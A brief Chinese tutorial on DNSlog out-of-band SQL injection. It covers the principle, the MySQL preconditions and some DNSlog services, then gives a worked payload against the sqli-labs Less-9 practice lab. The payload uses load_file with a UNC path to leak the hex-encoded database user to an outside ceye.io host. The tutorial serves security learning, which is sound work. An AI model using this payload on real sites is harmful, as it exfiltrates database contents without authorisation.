WEB安全--SQL注入--DNSlog外带

一、原理:

访问域名时,dns协议将我们访问的语句解析为ip地址,并将其记录在其日志中;在这个过程中,如果我们在语句中写入SQL注入的语句,那么在dns解析时会执行这些语句并通过concat将结果和域名一起记录在日志中,这时我们就能直接去日志中查看敏感信息。

二、条件:

1.mysql的my.ini文件中的secure_file_priv参数值要为空,secure_file_priv=""

2.用户的权限必须是root

3.网站是windows服务器,因为load_file()基于UNC格式读取,是windows系统特有的

三、网站:

DNSLog Platform

CEYE - Monitor service for security testing

登录 - DNSlog System

DNSLOG Platform

DNSLog Platform -- DNSLog

四、示例:

以sqli-labs第9关为例:

http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and (select load_file(concat('\\\\',(select hex(user())),'
.s5vuxg.ceye.io\\abc')))--+

因为一些字符不能直接回显在网页上,需要hex()转为十六进制

最后再转回来即可